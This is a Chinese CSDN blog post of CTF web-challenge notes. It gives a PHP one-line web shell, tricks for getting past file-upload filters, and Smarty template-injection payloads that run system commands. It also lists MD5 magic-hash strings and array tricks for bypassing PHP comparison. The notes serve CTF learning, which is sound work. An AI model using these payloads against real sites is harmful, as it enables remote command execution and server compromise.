CTF做题笔记

本文探讨了Web开发中的安全漏洞,包括PHP中的一句话木马执行、文件上传绕过方法、游戏类环境下的调试与注入,以及JSON对象的使用和MD5加密的绕过技巧,特别是数组绕过的解法。
摘要由CSDN通过智能技术生成

WEB

一.一句话木马:

<?php @eval($_GET['cmd']);?>

上传文件类型题目:

无绕过即可直接上传包含一句话木马php文件,用蚁剑链接。

蚁剑下载链接:https://github.com/AntSwordProject/AntSword-Loader

 文件上传绕过: 1.大小写绕过

                            2.双写绕过

                            3.空格绕过(在后缀名前/后加一空格)

                            4.在后缀名后加‘.’绕过

二.游戏类

在调试器中打开js脚本,寻找重要函数,修改在控制器中。

三.注入

1.smarty注入

   首先发现smarty模板,构造'{}'/'{'上传,如果报错,则smarty模板注入。

   构造data={if system('ls /')}{/if}  *显示数据库目录。

   构造data={if system('cat /目录名')}{/if}

   {if phpinfo()}{/id}

四.json对象

    语法规则:

    使用'{}'表示一个JSON对象,键和值之间使用冒号:分隔

    json['x']=="wllm"   ==>   json={"x":"wllm"}

五.MD5

   1.md5() 函数为 md5加密

   2.一半进行弱比较,md5数组绕过

   3.解法1:可以使用0e开头的数字进行传递参数,因为php将0e开头的数字转化为0,故此时MD5值相等,而两个变量值不相等。

       md5加密后为0e开头的数字的字符串有
byGcY
0e591948146966052067035298880982

QNKCDZO
0e830400451993494058024219903391

s878926199a
0e545993274517709034328855841020

s155964671a
0e342768416822451524974117254469

s214587387a
0e848240448830537924465865611904

s214587387a
0e848240448830537924465865611904

s878926199a
0e545993274517709034328855841020

s1091221200a
0e940624217856561557816327384675

s1885207154a
0e509367213418206700842008763514

240610708
0e462097431906509019562988736854

314282422
0e990995504821699494520356953734

571579406
0e972379832854295224118025748221

903251147
0e174510503823932942361353209384

 解法2:数组绕过:

 name[]=1,password[]=2

md5不能加密数组,加密数组返回空。

适用于源码中没有判断类型或内容,加上过滤函数则不能使用。

  • 16
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值